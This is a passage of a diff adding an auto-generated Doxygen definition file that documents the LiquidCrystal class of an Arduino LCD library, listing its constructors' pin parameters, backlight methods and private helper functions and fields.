+_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '58'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1ae0c3c8f7661634b1400f00a1c9c02c26'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlightPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '68'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a52a4de3d866e347208a32dfc9d797729'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlightPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '86'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a0a0a8dfa7a2e775a031fd65f5c6366ec'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '76'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract 4 bit LCD constructors. + @discussion Defines the pin assignment that the LCD will have. + The constructor does not initialize the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a8b90122c67a6d14b967c8a11ba490670'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlightPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '83'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a23124e6dd5ac4a9b6147629b96e91953'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '78'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1aff2330186495fde93370d46c0ca2cbf0'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'LiquidCrystal'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'backlightPin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '64'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a56142f8b3753bedd133e4139e5eb5089'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'send'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'mode'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '99'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value Value to send to the LCD. + @result mode LOW - write to the LCD CGRAM, HIGH - write a command to + the LCD. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1aa2b898366e1c656ac313b9007c98cebd'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '125'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. For dimming control of the + backlight, the configuration pin must be a PWM output pin. Dim control + is achieved by passing a value from 1 to 255 as a parameter. If the + pin configured when calling the setBacklightPin does not support PWM, + then: (0) backlight off, (1..255) backlight on. + + @param value: backlight value. 0: off, 1..255: dim control of the + backlight. For negative logic 255: off, 254..0: dim control. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a63740dc1198d8169a39d9c6daff0efc9'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'setBacklightPin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +t_backlighPol +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pol'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '109'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. + + @param pin: pin assigned to the backlight + @param pol: backlight pin control polarity (POSITIVE, NEGATIVE). +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1ae45eec827b26174f73e9cf3ddda635af'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'init'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'fourbitmode'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rs'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rw'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'enable'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd0'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd1'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd2'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd3'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd4'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd5'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd6'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'd7'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '136'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the LCD pin allocation and associated HW + @discussion Initializes the LCD pin allocation and configuration. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a44d84c010396c993f124d2feb9dc794d'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'pulseEnable'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '152'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Pulse the LCD enable line (En). + @discussion Sends a pulse of 1 uS to the Enable pin to execute an command + or write operation. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_liquid_crystal_1a641301bc315a4e167c5aee7ea99993fd'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'writeNbits'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'numBits'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '144'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Writes numBits bits from value value to the LCD. + @discussion Writes numBists bits (the least significant) to the LCD control + data lines. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal_1a23a1807a1fe4210ac7cfca9b779513ea'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_backlightPin'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '158'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal_1a0b2da39d056aed9940b0525e554668d7'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_data_pins'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '157'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal_1aef7d920abae32b5faa2625ffa3879c4b'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_enable_pin'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '156'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_liquid_crystal_1affd20665bda00d8b0e37d5ee87543e81'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_rs_pin'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h'; + sec-mem-desc-line = '154'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = 